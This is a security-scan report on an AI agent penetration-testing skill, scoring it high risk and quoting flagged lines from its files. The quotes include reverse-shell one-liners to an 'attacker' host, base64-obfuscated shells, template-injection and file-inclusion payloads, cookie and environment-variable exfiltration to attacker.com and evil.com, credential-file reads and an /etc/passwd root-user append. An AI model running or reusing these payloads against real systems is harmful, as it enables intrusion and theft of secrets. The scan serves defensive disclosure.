pentest-tools
20 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a data skill usually connects to databases or online services with your credentials.
By zhaoxuya520/reverse-skill (GitHub) · data · 44,484 stars · scanned at commit cab634b
主动渗透测试工具链。覆盖信息收集、端口扫描、漏洞扫描、Web 渗透、SQL 注入、目录爆破、密码破解等场景。 通过 MCP server（pentestMCP / mcp-security-hub）将 20+ 安全工具暴露给 AI agent。 触发关键词：渗透测试、端口扫描、Nmap、漏洞扫描、Nuclei、SQL 注入、SQLMap、目录爆破、FFUF、密码破解、Hashcat、信息收集、子域名、Web 渗透、ZAP、Burp。
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 43 places.
- skills/pentest-tools/SKILL.md, line 89
| **Impacket** | Windows 协议利用（SMB/WMI/Kerberos） | `pip install impacket` | - skills/pentest-tools/SKILL.md, line 161
"command": "npx", - skills/pentest-tools/SKILL.md, line 233
| Nuclei | ✓ | `go install` 或 GitHub Release | 需要 Go 或直接下载二进制 |
Show 17 more
- skills/pentest-tools/SKILL.md, line 234
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - skills/pentest-tools/SKILL.md, line 240
| Impacket | ✓ | `pip install impacket` | Python | - skills/pentest-tools/SKILL.md, line 241
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件（批量扫描防封） | - skills/pentest-tools/SKILL.md, line 243
| Reqable MCP | ✓ | `npx -y reqable-mcp-server@1.0.1` | 需先手动安装 Reqable 桌面客户端 | - skills/pentest-tools/SKILL.md, line 262
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/SKILL.md, line 263
- SQLMap: pip install sqlmap - skills/pentest-tools/references/burpsuite-mcp-guide.md, line 708
- Linux / Kali：`sudo apt install burpsuite` 或官方 .jar - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 15
- **安装**：`apt install mcp-kali-server` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 29
- **安装**：`apt install metasploitmcp` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 42
- **安装**：`apt install hexstrike-ai` - skills/pentest-tools/references/kali-mcp-ecosystem.md, line 51
- **安装**：`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0` - skills/pentest-tools/references/nuclei-guide-2026.md, line 12
- 已集成到 Kali 官方仓库（`apt install nuclei`） - skills/pentest-tools/references/nuclei-guide-2026.md, line 18
apt install nuclei - skills/pentest-tools/references/nuclei-guide-2026.md, line 20
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 503
npm install -g graphql-cli - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 507
pip install inql
and 23 more places
Runs commands on your computer
The author does not mention this.
Found in 116 places.
- skills/pentest-tools/SKILL.md, line 106
docker pull ramkansal/pentestmcp - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?>
Show 17 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 412
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 414
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 717
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
and 96 more places
Sends data to these websites: target, api.ipify.org, crt.sh, raw.githubusercontent.com, api.example, app.example, attacker.com, api.target.com, target.com, target$path and 1 more
The author does not mention this. Expected for a data skill.
Found in 744 places.
- skills/pentest-tools/references/burpsuite-mcp-guide.md, line 745
curl http://127.0.0.1:9876/health - skills/pentest-tools/references/client-side-lab-playbook.md, line 21
curl "https://target/?__proto__[x]=1" # Windows curl: bad range in position ... - skills/pentest-tools/references/client-side-lab-playbook.md, line 76
fetch(path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) })
Show 17 more
- skills/pentest-tools/references/msf-protocol.md, line 133
- 公网 IP 不知道时：`curl -s https://api.ipify.org` - skills/pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' - skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - skills/pentest-tools/references/recon-pipeline.md, line 35
curl -sS -D - -o NUL --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 43
curl -sS --max-time 15 \ - skills/pentest-tools/references/recon-pipeline.md, line 127
-ReproCommand 'curl -s "https://api.example/app/v1/clock" -A "Mozilla/5.0" -H "Origin: https://app.example" -H "Referer: https://app.example/"' ` - skills/pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - skills/pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - skills/pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', { - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/
and 724 more places
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
- skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 12 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this. Expected for a data skill.
Found in 10 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", - skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",
Show 7 more
- skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - skills/field-journal/precedent-pentest.md, line 441
□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json
Safer alternatives
Low-risk skills in the same category (data) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-tools' ] || [ -L ~/.agents/skills/'pentest-tools' ]; then echo 'A skill folder named pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zhaoxuya520/reverse-skill' "$d" && git -C "$d" checkout --quiet 'cab634bd855fc287f6e420c1f36fd1a6b9245960' -- 'skills/pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/pentest-tools' ~/.agents/skills/'pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-tools' ~/.claude/skills/'pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for zhaoxuya520/reverse-skill shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/zhaoxuya520/reverse-skill/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | cab634b | 20 |
| 2026-11-07 | cab634b | 20 |